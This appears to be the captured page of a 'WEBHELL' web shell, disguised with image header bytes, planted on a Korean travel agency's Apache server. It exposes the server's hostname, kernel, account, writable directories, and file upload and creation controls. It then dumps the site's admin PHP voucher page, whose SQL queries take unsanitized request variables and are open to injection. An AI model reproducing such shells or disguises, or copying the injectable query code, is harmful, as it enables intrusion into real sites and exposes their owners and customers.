ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/res_good/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/res_good/pdf_voucher.html
<? if($_SERVER['REMOTE_ADDR']=='115.94.73.157') { ?>

<?
include "../../Lib/config.php";

if( ($_COOKIE['MemberLevel'] == $cf['agent_level'] || $_COOKIE['MemberLevel'] == $cf['trade_level']) ) {
	include "../include/top_agent.html";
}
else {
	include "../include/top.html";
}

include "_common.html";

//테이블명
$table = "TB_RES_GOOD";

// 진행전달상태
$data_res_stat = base_codec("PRD","RESP","","N");

// 정렬
if (!$order_by_s)	{
	$order_by_s = "ins_dt desc";
	}

// 보여줄 개수
if(!$list_count_s) $list_count_s = 20;

// 전체 예약개수 
$data_gres = db_fetch("SELECT COUNT(res_no) AS res_gtot  FROM TB_RES_GOOD ");
$res_gtot= $data_gres['res_gtot'];

// 검색 설정
$sql_where = "";
if($search_box_s=="simple") { // 검색요소 비우기
	$search_key_s="";	$search_word_s="";		$mode_period_s="";
	$ins_route_s="";		$srh_payment_s="";		$is_member_s="";
	$order_state_s="";	$srh_pay_stat_s="";		$srh_b_uid_s="";
	$srh_m_uid_s="";		$srh_s_uid_s="";			$srh_Bidx_s="";
	$srh_Cidx_s="";		$date_s1="";				$date_s2="";
	$period_date_s="";	$period_yy_s="";			$period_mm_s="";
}	
if ( $cseq )  {
	$sql_where .= " and cseq = '{$cseq}' ";// 상담ID (상담관리에서 등록한 예약)
}
if ($contract_s=="person") {
	$sql_where .= " and (agent_id is null or agent_id='' ) "; // 구분-개인예약
	$sql_where2 .= " and (res.agent_id is null or res.agent_id='' ) "; // 구분-개인예약
	}
if ($contract_s=="agent") {
	$sql_where .= " and ( agent_id != '' ) "; // 구분-대리점예약 
	$sql_where2 .= " and ( res.agent_id != '' ) "; // 구분-대리점예약 
	}
if ($search_key_s and $search_word_s) {
	$sql_where .= " and {$search_key_s} like '%{$search_word_s}%' "; // 검색어
	$sql_where2 .= " and res.{$search_key_s} like '%{$search_word_s}%' "; // 검색어
}
if ($mode_period_s) {
	$sql_where .= " and ( DATE_FORMAT({$mode_period_s},'%Y-%m-%d') >= '{$date_s1}' and DATE_FORMAT({$mode_period_s},'%Y-%m-%d') <= '{$date_s2}' )";
	$sql_where2 .= " and ( DATE_FORMAT(res.{$mode_period_s},'%Y-%m-%d') >= '{$date_s1}' and DATE_FORMAT(res.{$mode_period_s},'%Y-%m-%d') <= '{$date_s2}' )";
	}
if ($ins_route_s) {
	$sql_where .= " and ins_route='{$ins_route_s}' "; // 예약경로
	$sql_where2 .= " and res.ins_route='{$ins_route_s}' "; // 예약경로
}
if ($srh_payment_s) {
	$sql_where .= " and srh_payment like '%{$srh_payment_s}%' "; // 결제수단
	//$sql_where2 .= " and res.srh_payment like '%{$srh_payment_s}%' "; // 결제수단
	//$sql_where2 .= " and act.pgcase_cd like '%{$srh_payment_s}%' "; // 결제수단

	}
if ($is_member_s=="member") {
	$sql_where .= " and ( mb_id is not null OR mb_id != '' )"; // 회원 검색
	$sql_where2 .= " and ( res.mb_id is not null OR res.mb_id != '' )"; // 회원 검색
	}
if ($is_member_s=="nomember") {
	$sql_where .= " and ( mb_id is null OR mb_id = '' )"; // 비회원 검색
	$sql_where2 .= " and ( res.mb_id is null OR res.mb_id = '' )"; // 비회원 검색
	}
if ($order_state_s) {
	$sql_where .= " and order_state='{$order_state_s}' "; // 예약상태
	$sql_where2 .= " and res.order_state='{$order_state_s}' "; // 예약상태
	}
if ($srh_pay_stat_s) {
	$sql_where .= " and srh_pay_stat='{$srh_pay_stat_s}' "; // 입금
	$sql_where2 .= " and res.srh_pay_stat='{$srh_pay_stat_s}' "; // 입금
	}
if ($srh_b_uid_s) {
	$sql_where .= " and srh_b_uid = '{$srh_b_uid_s}' "; // 1차 카테고리
	$sql_where2 .= " and res.srh_b_uid = '{$srh_b_uid_s}' "; // 1차 카테고리
	}
if ($srh_m_uid_s) {
	$sql_where .= " and srh_m_uid = '{$srh_m_uid_s}' "; // 2차 카테고리
	$sql_where2 .= " and res.srh_m_uid = '{$srh_m_uid_s}' "; // 2차 카테고리
	}
if ($srh_s_uid_s) {
	$sql_where .= " and srh_s_uid = '{$srh_s_uid_s}' "; // 3차 카테고리
	$sql_where2 .= " and res.srh_s_uid = '{$srh_s_uid_s}' "; // 3차 카테고리
	}
if ($srh_Bidx_s) {
	$sql_where .= " and srh_Bidx = '{$srh_Bidx_s}' "; // 국가
	$sql_where2 .= " and res.srh_Bidx = '{$srh_Bidx_s}' "; // 국가
	}
if ($srh_Cidx_s) {
	$sql_where .= " and srh_Cidx = '{$srh_Cidx_s}' "; // 도시
	$sql_where2 .= " and res.srh_Cidx = '{$srh_Cidx_s}' "; // 도시
	}

// 리스트 수 가져옴
$sql = "select count(*) as total ,SUM(sales_total) AS sales_gtot , SUM(srh_pay_money) AS pay_gtot, SUM(srh_pre_money) AS pre_gtot  from {$table} where 1 {$sql_where} ";
$row = db_fetch($sql);
$total = $row[total];


//총인원
$sql2 = "select COUNT(seq) as total_inwon from TB_RES_GOOD_PERSON person left join TB_RES_GOOD res on (person.res_no=res.res_no) where 1 {$sql_where2} ";
$row2 = db_fetch($sql2);
$total_inwon = $row2[total_inwon];


// 페이지수 설정
if (!$page) $page = 1; // 페이지 번호
$line = $list_count_s; // 보여줄 갯수
$list = 10; // 블럭 갯수
$total_page = ceil($total / $line); // 총페이지
if ($total == 0) $total_page = 1; // 데이터가 하나도 없으면 총페이지 1
if ($page > $total_page) $page = $total_page; // 페이지가 전체 페이지보다 크면 페이지 번호를 바꿈
$total_list = intval($total_page / $list);
if ($total_page % $list == 0) $total_list--;
$curr_list = intval($page / $list);
if ($page % $list == 0) $curr_list--;
$start_page = $curr_list * $list + 1;
$prev_list = $start_page - $list;
$next_list = $start_page + $list;
$olds = $line * ($page - 1);

// 정렬 설정
$sql_order=" {$order_by_s} ";

// Limit
$limit = " $olds , $line ";

//배열에 저장
$data = array();
$data = res_good_master($sql_where,$sql_order,$limit);

$today = date("Y-m-d");
?>
<div class="contents_wrap">
    <div class="contents_wrap_in">
			<div class="title">B2B예약<span class="arrow">&gt;</span>예약관리&리스트<span class="arrow">&gt;</span><strong>바우처 미리 보기 (PDF)</strong></div>
      <div class="contents_detail">
		<div id="Content_box">
			<?
				include "_tab_menu.html";
			?>
				
				
		<!-- 폼 -->
			
		<div class="b2b_main_title_sub "><span class="c_lightblue">바우처 미리 보기 (PDF)</span></div>
			
			<div class="wrap" style="float:left;width: 100%;     background-color: #0000001a;">
		
		<div style="width:700px; margin:0 auto;">
		<form name="frm_list" id="frm_list" method="post">
		<input type="hidden" name="SqlType" value="chg_order_state">
		
		<div style="width: 700px; float: left;background: white;margin: 50px 0;padding: 20px 20px;">
			
			<!-- icon wrap  -->
			<div class="location" style="float:left;     margin-bottom: 130px;">
					<ul style="position: relative; width: 700px;">
						<li style="position:absolute; top:40px; left:0;"><img src="../image/admin/vou_bn.png" alt=""/></li>
						<li style="position:absolute; top:0; left:0;"><img src="../image/admin/vou_icon01.png" alt=""/>
							<span style="position: absolute;top: 90px;left: 10px;font-weight:600;font-size: 16px;color:orange;">TEXT 01</span>
						</li>
						<li style="position:absolute; top:0; left:50%;    margin-left: -40px;"><img src="../image/admin/vou_icon02.png" alt=""/>
							<span style="position: absolute;top: 90px;left: 10px;font-weight:600;font-size: 16px;color:orange;">TEXT 02</span>
						</li>
						<li style="position:absolute; top:0; right:0;"><img src="../image/admin/vou_icon03.png" alt=""/>
							<span style="position: absolute;top: 90px;left: 10px;font-weight:600;font-size: 16px;color:orange;">TEXT 03</span>
						</li>
					</ul>
				</div>
			<!-- 인삿말  -->
			<div style="float:left; padding: 10px 0 30px 0;">
					안녕하세요?(          )고객님!<br>
					TK트래블 여행상품을 선택해 주셔서 진심으로 감사드립니다.<br>
					예약 확정서를 첨부해 드리오니, 내용을 확인해 주시기 바랍니다.<br>
					즐거운 여행이 되시길 바랍니다.
			</div>
			
			<!-- 예약정보 -->
			<table width="700" border="0" cellspacing="0" cellpadding="0" style="     margin-bottom: 50px;   float: left; ">
				<caption>예약정보</caption>
				
				<colgroup>
					<col style="width:100%;">
				</colgroup>
					
				<thead>
					<tr style="background-color:orange; border-top: 2px solid #5a5a5a;" >
						<th style="padding: 10px 18px;font-size: 16px;color: white; font-weight: 500;">예약정보</th>
					</tr>
				</thead>
				
				<tbody style=" float: left;">	
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #c2e49c;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">바우처번호</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;">TKD19122401A</td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">예약접수일</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;">2019-12-16 '10:10:56</td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">출발날짜</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;">2019-12-20</td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">상품이름</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">고객이름</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">국적</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">인원수</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;">성인 4 X 소인 3 X 유아 2</td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">선택옵션</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">탑승장소 / 시간</td>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;">07:40 명동_신세계 백화점 지하철 5번출구</th>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">이메일</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">연락처</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #e7e7e7;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 6px 0 6px 20px;font-size: 12px;">SNS ID</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;">Whatsapp/wechat/line/facebook/skype 선택가능</td>
				</tr>
				<tr style="border:1px solid #c2c2c2;">
					<th style="width:200px;background: #ffe699;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:600;padding: 10px 0 10px 20px;font-size: 12px;">고객 요청 사항</th>
					<td style="width:600px;background: #f9f9f9;
					border-bottom: 1px solid #c2c2c2;border-right: 1px solid #c2c2c2;color: #1f1f1f;
					font-weight:normal;padding: 6px 0 6px 20px;font-size: 12px;"></td>
				</tr>
			</tbody>
			</table>
			
			
			<!-- 주의 사항 및 서비스 정보 -->
			<table width="700" border="0" cellspacing="0" cellpadding="0" style="margin-bottom: 50px; float: left;border: 1px solid #c2c2c2;">
			<caption>주의 사항 및 서비스 정보</caption>
				
				<colgroup>
					<col style="width:100%;">
				</colgroup>
					
				<thead>
					<tr style="background-color:orange; border-top: 2px solid #5a5a5a;" >
						<th style="padding: 10px 18px;font-size: 16px;color: white; font-weight: 500;">주의 사항 및 서비스 정보</th>
					</tr>
				</thead>
				
				<tbody style=" float: left;">	
					<tr>
					<td style="padding: 10px 0 10px 20px;">
						*상기 위 내용을 확인하시고 궁금하신 점이 있으시면 고객서비스에 문의해주시기 바랍니다.<br><br>
						
						*손님이 약속된 미팅장소에 꼭 10분전까지 도착해서 가이드를 미팅하셔야 합니다.<br>
						만약에 늦을경우 꼭 whatsapp / Line / Wechat을 통해서 통보를 해주셔야 합니다.<br>
						미통보시 결재 비용은 환불되지 않으며 버스와 가이드는 기다리지 않고 출발을 합니다.<br>
						
						*긴급연락처 (TK TRAVEL CS TEAM)<br><br>
						일반전화 : +82 26298-8000 (09:00~18:00 / Mon~Fri)<br>
						Whatspp : +82 108249-1901<br>
						Line : @tktravelkorea<br>
						Wechat : tktravelcs
					</td>
					</tr>
				</tbody>
			</table>
			
			<!-- 미팅 및 탑승 장소 안내 -->
			<table width="700" border="0" cellspacing="0" cellpadding="0" style="    margin-bottom: 50px;float: left;border: 1px solid #c2c2c2;">
			<caption>미팅 및 탑승 장소 안내</caption>
				
				<colgroup>
					<col style="width:100%;">
				</colgroup>
					
				<thead>
					<tr style="background-color:orange; border-top: 2px solid #5a5a5a;" >
						<th style="padding: 10px 18px;font-size: 16px;color: white; font-weight: 500;">미팅 및 탑승 장소 안내</th>
					</tr>
				</thead>
				
				<tbody>
				<tr style=" float: left;">
					<td style=" float: left; padding: 10px 18px; font-size: 16px;font-weight: 500;">구글맵</td>
					<td style=" float: left; width: 650px;padding: 5px 18px;">
						<img src="../image/admin/voucher_img01.PNG" alt="google map" style="width: 100%; height:auto;"/>
					</td>
				</tr>
				<tr style=" float: left;padding:30px 0; ">
					<td><span style="width:700px; float: left; border: 1px dashed #c2c2c2;"></span></td>
				</tr>
				<tr style=" float: left;">
					<td style=" float: left;padding: 10px 18px; font-size: 16px;font-weight: 500;">회로도</td>
					<td style=" float: left; width: 650px;padding: 5px 18px;">
						<img src="../image/admin/voucher_img02.PNG" alt="google map" style="width: 100%; height:auto;"/>
					</td>
				</td>
				</tr>
			</tbody>
			</table>
			
			<!-- 환불 및 취소 규정 -->
			<table width="700" border="0" cellspacing="0" cellpadding="0" style="    margin-bottom: 50px;float: left;border: 1px solid #c2c2c2;">
			<caption>환불 및 취소규정</caption>
				
				<colgroup>
					<col style="width:100%;">
				</colgroup>
					
				<thead>
					<tr style="background-color:orange; border-top: 2px solid #5a5a5a;" >
						<th style="padding: 10px 18px;font-size: 16px;color: white; font-weight: 500;">환불 및 취소규정</th>
					</tr>
				</thead>
				
				<tbody style=" float: left;">
				<tr>
					<td style="padding: 10px 0 10px 20px;">
						1. 취소 및 환불 규정<br>
						・출발 20 일 전 취소, 요금 전액 환불 (수수료 제외)<br>
						・출발 10 일 전 취소, 요금의 50 % 환불  (수수료 제외)<br>
						・출발 전 10 일 이내 , 환불 불가<br><br>
						
						2. 투어 요금은 차량, 기사 가이드 팁, 일정에 표시된 식사, 티켓이 포함된 금액 입니다.<br><br>
						
						3. 교통 상황에 따라 일정 및 식사 시간이 조정 될 수 있으며, 출발 당일 특수한 상황으로 인한 관광지가
						수리 또는 닫은 경우 환불이 불가 합니다.<br><br>
						
						4. 비 오는 날이나 눈이 오는 날에도 투어행사는 진행되며, 천재지변 또는 자연재해에 의해 출발 할 수 
						없는 경우에는 출발 날짜를 변경하거나 요금 환불 처리 해드립니다.<br><br>
						
						5. TK트래블의 모든 상품에는 개인 여행 보험이 포함되어 있지 않으며, 야외 활동에는 위험이 어느 정도 
						있으니 고객은 자신의 건강과 능력에 따라 투어를 참여하기에 적합한 지 직접 결정 해야 합니다. 
						불가항력으로 인한 사고나 부상 또는 사망에 대해 회사는 책임을 지지 않습니다.<br><br>
						
						6. 투어 당일의 시간은 정해져 있으며, 여행 일정이 잘 진행되는 원칙에 따라 일정 순서를 변경 또는 
						조정할 수 있습니다. 일정 및 미팅 시간이 변경되면 회사는 고객에게 미리 SNS 또는 이메일로 
						알려드립니다.<br><br>
						
						7. 손님은 지정된 미팅시간에 미팅장소에 도착해야 할 책임이 있습니다. 
						미팅 시간에 늦은 손님은 투어에 불참 한 것으로 간주되며 불참 한 손님은 환불되지 않습니다.<br><br>
						
						8. 회사는 상기 사항에 대한 최종 결정권을 갖습니다.
					</td>
				</tr>
				
			</tbody>
			</table>
			
			
				<div style="width:100%; float:left; padding: 10px 0 30px 0; position:relative;">
						감사합니다.!<br>
						즐거운 여행 되세요.<br>
						TK TRAVEL Co.,Ltd<br>
						서울특별시 동대문구 신이문로 39, 명경빌딩 5층 (02409)
						
						<img src="../image/admin/vou_icon04.PNG" alt="" style="position:absolute; top:0; right:0;"/>
				</div>
			</table>
		</div>
		</form>
		</div>
		<!-- 폼 -->
		
		</div>
		</div>
	</div>
	
</div>

<style>
	td > span{ font-size: 12px !important; }
</style>

<script type="text/javascript">
var res_good_num='';

function reserv_good(g_uid,d_uid)
{

	if ( !confirm('예약을 진행하시겠습니까?') ) return;

	to_dialog.iframe('good_res_reg.html?g_uid='+g_uid+'&d_uid='+d_uid,'여행상품예약','1200','700',true,true,'yes');
}

$(document).ready(function(){
	$("#order_by_s").on("change",function(){
		var order_by_s = $("#order_by_s").val();
		var list_count_s = $("#list_count_s").val();
		
		window.document.location.href='<?=$PHP_SELF?>?<?=$rhref?>&order_by_s='+order_by_s+'&list_count_s='+list_count_s;
	});
	$("#list_count_s").on("change",function(){
		var order_by_s = $("#order_by_s").val();
		var list_count_s = $("#list_count_s").val();
		
		window.document.location.href='<?=$PHP_SELF?>?<?=$rhref?>&order_by_s='+order_by_s+'&list_count_s='+list_count_s;
	});	


	$("#checkall").on("click",function(){
		$(".item_checkbox_res").prop("checked",$(this).prop("checked"));  
	});

	$(".item_chg_order_state").on("click",function(){
		if($(".item_checkbox_res:checked").length==0){
			alert('적어도 한개 항목을 선택해 주세요.');
			return;
		}

		if(!confirm('예약전달 상태를 변경하시겠습니까?')) return;
		ajax_post("ajax_proc","good_res_proc.html","frm_list");
	});

	$(".item_chg_account_customer").on("click",function(){
		var cnt = parseInt($(".item_checkbox_res:checked").length);
		if(cnt==0) {
			alert('적어도 한개 항목을 선택해 주세요.');
			return;
		}

		var res_no_all = '';
		$(".item_checkbox_res:checked").each(function(i){
			if ( i == cnt-1 ) res_no_all += $(this).val();
			else res_no_all += $(this).val() + '||';
		}); 
			

		to_dialog.iframe('good_res_account_all.html?res_no_all='+res_no_all,'입금일괄처리','1200','700',true,true,'yes');
	});	
});


//엑셀출력
function to_excel(sql_where,sql_order)
{
	if(!confirm('1,000건이하로 엑셀다운로드됩니다.\n시간이 소요될수 있습니다.\n엑셀파일을 다운로드 하시겠습니까?')) return;
	
	document.location.href='good_res_excel.html?sql_where='+sql_where+'&sql_order='+sql_order;
}

// 메모수정
function memo_save()
{

	if (!confirm('메모를 수정하시겠습니까?')) return;

	document.frm_list.SqlType.value = "memo_ins";
	document.frm_list.action = "good_res_proc.html?s=1<?=$_rhref?>";
	document.frm_list.submit();
}

</script>
<? include "../include/footer.html" ?>
<? } ?>

Anon7 - 2021